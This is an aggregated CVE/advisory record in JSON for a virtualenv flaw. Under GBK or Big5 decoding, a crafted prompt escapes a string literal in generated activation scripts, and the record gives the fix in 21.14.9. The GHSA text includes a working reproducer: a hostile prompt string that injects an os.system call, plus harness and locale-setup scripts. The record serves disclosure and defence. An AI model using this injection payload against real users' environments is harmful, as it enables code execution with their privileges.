{"id":"CVE-2026-113718","aliases":["AZL-112589","BIT-virtualenv-2026-113718","DEBIAN-CVE-2026-113718","EUVD-2026-105299","GHSA-394h-qwmc-48pf","UBUNTU-CVE-2026-113718","openSUSE-SU-2026:12372-1"],"status":"published","title":"virtualenv: Xonsh activation literals depend on the script decoding codec","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00242,"percentile":0.15552,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-10-20T19:39:52Z","modified":"2026-11-03T14:18:14Z","fixes":[{"ecosystem":"PyPI","package":"virtualenv","fixed_in":["21.14.9"],"sources":["ghsa","osv"]},{"ecosystem":"Bitnami","package":"virtualenv","fixed_in":["21.14.9"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"20.36.1-9"}]}]},{"source":"osv","ecosystem":"Bitnami","package":"virtualenv","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.17.1+ds-1","20.19.0+ds-1","20.21.0+ds-1","20.23.0+ds-1","20.23.0+ds-2","20.24.1+ds-1","20.24.6+ds-1","20.24.6+ds-2","20.25.0+ds-1","20.25.0+ds-2","20.25.1+ds-1","20.26.1+ds-1","20.26.2+ds-1","20.26.6+ds-1","20.27.0+ds-1","20.28.0+ds-1","20.29.1+ds-1","20.29.3+ds-1","20.30.0+ds-1","20.30.0+ds-2","20.30.0+ds-3","20.31.2+ds-1","20.33.1+ds-1","20.34.0+ds-1","20.35.3+ds-1","20.35.4+ds-1","20.36.1+ds-1","20.38.0+ds-1","21.2.0+ds-1","21.2.4+ds-1","21.3.1+ds-1","21.4.1+ds-1","21.5.1+ds-1"]},{"source":"osv","ecosystem":"Debian:13","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.31.2+ds-1","20.31.2+ds-1+deb13u1","20.33.1+ds-1","20.34.0+ds-1","20.35.3+ds-1","20.35.4+ds-1","20.36.1+ds-1","20.38.0+ds-1","21.2.0+ds-1","21.2.4+ds-1","21.3.1+ds-1","21.4.1+ds-1","21.5.1+ds-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.31.2+ds-1","20.33.1+ds-1","20.34.0+ds-1","20.35.3+ds-1","20.35.4+ds-1","20.36.1+ds-1","20.38.0+ds-1","21.2.0+ds-1","21.2.4+ds-1","21.3.1+ds-1","21.4.1+ds-1","21.5.1+ds-1"]},{"source":"osv","ecosystem":"PyPI","package":"virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"]},{"source":"osv","ecosystem":"Ubuntu:14.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.10.1-1","1.11-1","1.11-2","1.11.4-1","1.11.4-1ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.6+ds-1","14.0.5+ds-1","14.0.5+ds-2","14.0.5+ds-4","15.0.0+ds-1","15.0.0+ds-2","15.0.1+ds-1","15.0.1+ds-2","15.0.1+ds-3","15.0.1+ds-3ubuntu1","15.0.1+ds-3ubuntu1.1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["15.1.0+ds-1","15.1.0+ds-1.1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["15.1.0+ds-2","15.1.0+ds-2build1","15.1.0+ds-2ubuntu1","20.0.13-1","20.0.17-1","20.0.17-1ubuntu0.3","20.0.17-1ubuntu0.4","20.0.17-1ubuntu0.4+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.4.6+ds-2","20.10.0+ds-1","20.12.1+ds-1","20.13.0+ds-1","20.13.0+ds-2","20.13.0+ds-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.24.1+ds-1","20.24.6+ds-1","20.24.6+ds-2","20.25.0+ds-1","20.25.0+ds-2","20.25.0+ds-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.36.1+ds-1","21.4.1+ds-1","21.5.1+ds-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["20.31.2+ds-1","20.35.3+ds-1","20.35.4+ds-1","20.36.1+ds-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-virtualenv","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.15.1-1.1"}]}],"bundled":9}],"products":[{"vendor":"pypa","product":"virtualenv"}],"references":[{"url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-394h-qwmc-48pf","tags":["x_refsource_CONFIRM","exploit","web","advisory","report"]},{"url":"https://github.com/pypa/virtualenv/pull/3432","tags":["x_refsource_MISC","web","fix","report"]},{"url":"https://github.com/pypa/virtualenv/commit/e5fc2e6e189a877ff559af288919e3525d13e5e0","tags":["x_refsource_MISC","web","fix"]},{"url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113718","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-394h-qwmc-48pf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113718.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-113718","tags":["advisory"]},{"url":"https://github.com/pypa/virtualenv","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-113718","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-113718","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-113714","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-113716","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-113718","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-113720","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-113722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-113724","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-113726","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-113732","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-115586","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-113718","title":"virtualenv: Xonsh activation literals depend on the script decoding codec","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T19:39:52.633Z","modified":"2026-10-27T13:33:36.583Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T13:44:29.519518Z"}],"euvd":[{"id":"EUVD-2026-105299","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T19:39:52Z","modified":"2026-10-27T13:33:36Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:59:23.601588Z"}],"ghsa":[{"id":"GHSA-394h-qwmc-48pf","title":"virtualenv: Xonsh activation literals depend on the script decoding codec","description":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment.\n\n## Affected area\n\nXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can\nchange how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure\nthrough unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),\n[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).\n\n## Mechanism\n\nThe generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters\nin the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK\nor Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.\nThe backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal\nand supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.\n\n## Reproduction and evidence\n\nThe original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile\nprompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`\ncontrols did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.\n[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to\n`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,\ndecodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.\n\nThe attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of\nthe generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is\nattributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prompt supplier\n    participant V as virtualenv quote()\n    participant F as activate.xsh bytes\n    participant X as xonsh source\n    A-\u003e\u003eV: 中 plus escaped quote and statements\n    V-\u003e\u003eF: repr writes UTF-8 中 followed by backslash\n    alt XONSH_ENCODING is UTF-8\n        F-\u003e\u003eX: backslash remains an escape\n        X--\u003e\u003eA: prompt remains data\n    else XONSH_ENCODING is GBK or Big5\n        F-\u003e\u003eX: decoder consumes backslash as trail byte\n        X-\u003e\u003eX: quote closes and statements run\n    end\n    Note over V,X: ascii() emits only ASCII bytes and preserves the literal\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom shutil import rmtree\n\nwork = Path(\"/tmp/activate-this-gbk\")\nrmtree(work, ignore_errors=True)\nwork.mkdir()\nenv_dir = work / \"venv\"\nmarker = work / \"MARKER\"\n\n# set up: a zh_CN.GBK locale, which the image does not ship\nsubprocess.run([sys.executable, \"/tmp/repro.d/install_gbk_locale.py\", work / \"locales\"], check=True)\nutf8_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"C.UTF-8\"}\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": str(work / \"locales\")}\n\n# attacker: text that a tool relays as --prompt\n# the payload's \" makes repr() delimit with ' and write the prompt's own ' as \\'\n# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next\npayload = f'__import__(\"os\").system(\"touch {marker}\")'\nhostile_prompt = \"中\" + \"';\" + payload + \"#\"\n\n# user: creates the environment with the virtualenv command\nsubprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--prompt\", hostile_prompt, env_dir], check=True)\nactivate_this = (env_dir / \"bin\" / \"activate_this.py\").read_bytes()\nprompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ[\"VIRTUAL_ENV_PROMPT\"]'))\nprint(f\"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}\")\nprint(f\"activate_this.py read as GBK:   {prompt_line.decode('gbk')}\")\nassert not marker.exists(), \"payload ran at creation time\"\n\n# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one\nactivate = [sys.executable, \"/tmp/repro.d/activate_with_exec_open.py\", env_dir]\ncontrol = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding=\"utf-8\", check=True)\nran_in_utf8_session = marker.exists()\nprint(f\"CONTROL  UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}\")\n\nobserved = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding=\"gbk\", check=True)\nran_in_gbk_session = marker.exists()\nprint(f\"OBSERVED GBK session:   {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}\")\n\n# check: the prompt is data and must not run in either session\nprint(\"BUG\" if ran_in_gbk_session and not ran_in_utf8_session else \"OK\")\n```\n\n**`repro.d/activate_with_exec_open.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: activate_with_exec_open.py ENV_DIR\n# A program that activates a virtualenv the way activate_this.py's docstring said to until virtualenv 20.26.2.\nimport locale\nimport os\nimport sys\n\nthis_file = os.path.join(sys.argv[1], \"bin\", \"activate_this.py\")\nexec(open(this_file).read(), {\"__file__\": this_file})\n\nprint(f\"open() decodes as {locale.getpreferredencoding(False)}, VIRTUAL_ENV_PROMPT is {os.environ['VIRTUAL_ENV_PROMPT']}\")\n```\n\n**`repro.d/install_gbk_locale.py`**\n\n```text\n#!/usr/bin/env python3\n# usage: install_gbk_locale.py LOCPATH\n# Does what `locale-gen zh_CN.GBK` would; the image has glibc's localedef but no charmap or locale sources.\nimport os\nimport subprocess\nimport sys\n\nlocpath = sys.argv[1]\nos.makedirs(locpath)\n\ncharmap = [\"\u003ccode_set_name\u003e GBK\", \"\u003ccomment_char\u003e %\", \"\u003cescape_char\u003e /\", \"\u003cmb_cur_min\u003e 1\", \"\u003cmb_cur_max\u003e 2\", \"CHARMAP\"]\ncharmap += [f\"\u003cU{byte:04X}\u003e /x{byte:02x}\" for byte in range(0x80)]\nfor lead in range(0x81, 0xFF):\n    for trail in range(0x40, 0xFF):\n        try:\n            char = bytes([lead, trail]).decode(\"gbk\")\n        except UnicodeDecodeError:\n            continue\n        charmap.append(f\"\u003cU{ord(char):04X}\u003e /x{lead:02x}/x{trail:02x}\")\ncharmap.append(\"END CHARMAP\")\nwith open(f\"{locpath}/GBK.charmap\", \"w\") as charmap_file:\n    charmap_file.write(\"\\n\".join(charmap) + \"\\n\")\n\n# -c: the source has no LC_TIME, LC_MONETARY, ...; localedef fills in defaults, warns and exits 1, so check the result below\nsource = \"/tmp/repro.d/zh_CN_minimal.locale\"\nsubprocess.run([\"localedef\", \"-c\", \"-f\", f\"{locpath}/GBK.charmap\", \"-i\", source, f\"{locpath}/zh_CN.GBK\"], capture_output=True)\n\ngbk_session = {\"PATH\": os.environ[\"PATH\"], \"LANG\": \"zh_CN.GBK\", \"LOCPATH\": locpath}\ncodeset = subprocess.run([\"locale\", \"charmap\"], env=gbk_session, capture_output=True, text=True, check=True)\nif codeset.stdout.strip() != \"GBK\" or codeset.stderr:\n    sys.exit(f\"zh_CN.GBK locale not usable: {codeset}\")\n```\n\n**`repro.d/zh_CN_minimal.locale`**\n\n```text\ncomment_char %\nescape_char /\n% Stand-in for glibc's locales/zh_CN: ASCII character classes only. What matters is the codeset name, GBK, which\n% comes from the charmap given to localedef with -f.\nLC_CTYPE\nupper \u003cU0041\u003e..\u003cU005A\u003e\nlower \u003cU0061\u003e..\u003cU007A\u003e\ndigit \u003cU0030\u003e..\u003cU0039\u003e\nspace \u003cU0009\u003e..\u003cU000D\u003e;\u003cU0020\u003e\ncntrl \u003cU0000\u003e..\u003cU001F\u003e;\u003cU007F\u003e\npunct \u003cU0021\u003e..\u003cU002F\u003e;\u003cU003A\u003e..\u003cU0040\u003e;\u003cU005B\u003e..\u003cU0060\u003e;\u003cU007B\u003e..\u003cU007E\u003e\nxdigit \u003cU0030\u003e..\u003cU0039\u003e;\u003cU0041\u003e..\u003cU0046\u003e;\u003cU0061\u003e..\u003cU0066\u003e\nblank \u003cU0009\u003e;\u003cU0020\u003e\nEND LC_CTYPE\nLC_COLLATE\norder_start forward\nUNDEFINED\norder_end\nEND LC_COLLATE\n```\n\n## Impact\n\nAn affected activation can execute commands with the user's privileges. Severity is high, following the generated-script\nprecedent in [GHSA-p58f-9548-mpm2](https://github.com/pypa/virtualenv/security/advisories/GHSA-p58f-9548-mpm2). The\nattack requires control of argument data and subsequent user activation; it does not require replacing an executable or\ncontrolling app-data contents.\n\n## Versions tested\n\nThe supplied follow-up review marks command execution as independently confirmed by its author. The implementation\nreview used source inspection and patched literal-value checks, without rerunning that exploit. The relevant activation\nsource is identical between release 21.14.8 and upstream/main 233359cb. The maintainer previously confirmed validation\nof the reported findings on 21.14.8. The first affected version has not been established. Fixed in 21.14.9.\n\n## Known mitigation\n\nUse trusted prompt and destination values. Use UTF-8 source decoding in xonsh on older releases.\nRecreate environments with virtualenv 21.14.9 or later.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nThe original report was supplied by Anthropic's OSS Scanner as ANT-2026-PAUVP7YL. The subsequent maintainer-provided\nreview identified the remaining activation path.\n\n## Additional fix branch\n\n[PR #3411](https://github.com/pypa/virtualenv/pull/3411) also uses ASCII-only literals for paths and prompts, alongside\nits activation-state changes. Both branches must retain this quoting rule when integrated.","status":"published","published":"2026-10-23T22:24:43Z","modified":"2026-10-23T22:24:44Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:41:36.858527Z"}],"nvd":[{"id":"CVE-2026-113718","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T20:17:18.197Z","modified":"2026-10-27T14:16:33.297Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:13:01.161484Z"}],"osv":[{"id":"CVE-2026-113718","title":"virtualenv: Xonsh activation literals depend on the script decoding codec","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T19:39:52.633Z","modified":"2026-10-31T18:11:58.946692312Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:44:56.310988Z"},{"id":"DEBIAN-CVE-2026-113718","description":"virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, POSIX xonsh activation quote() uses repr() to write printable non-ASCII prompt or destination data into UTF-8 activate.xsh, while xonsh can read that script using $XONSH_ENCODING. Under a legacy multibyte codec such as GBK or Big5, a UTF-8 trail byte can consume the backslash before an adjacent quote, allowing the literal to close and attacker-influenced statements to execute when the user sources the generated script. This issue is fixed in version 21.14.9.","status":"published","published":"2026-10-20T20:17:18.197Z","modified":"2026-10-28T09:47:32.046844125Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:50.391389Z"},{"id":"GHSA-394h-qwmc-48pf","title":"virtualenv: Xonsh activation literals depend on the script decoding codec","description":"## Summary\n\nCaller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the\nvalue passed to virtualenv, and a user must subsequently activate the environment.\n\n## Affected area\n\nXonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can\nchange how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure\nthrough unrelated activators.\n\n## Attacker-controlled input\n\nThe attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated\nactivation script.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),\n[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).\n\n## Mechanism\n\nThe generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters\nin the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK\nor Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.\nThe backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal\nand supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.\n\n## Reproduction and evidence\n\nThe original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile\nprompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`\ncontrols did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.\n[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to\n`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,\ndecodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.\n\nThe attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of\nthe generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is\nattributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prompt supplier\n    participant V as virtualenv quote()\n    participant F as activate.xsh bytes\n    participant X as xonsh source\n    A-\u003e\u003eV: 中 plus escaped quote and statements\n    V-\u003e\u003eF: repr writes UTF-8 中 followed by backslash\n    alt XONSH_ENCODING is UTF-8\n        F-\u003e\u003eX: backslash remains an escape\n        X--\u003e\u003eA: prompt remains data\n    else XONSH_ENCODING is GBK or Big5\n        F-\u003e\u003eX: decoder consumes backslash as trail byte\n        X-\u003e\u003eX: quote closes and 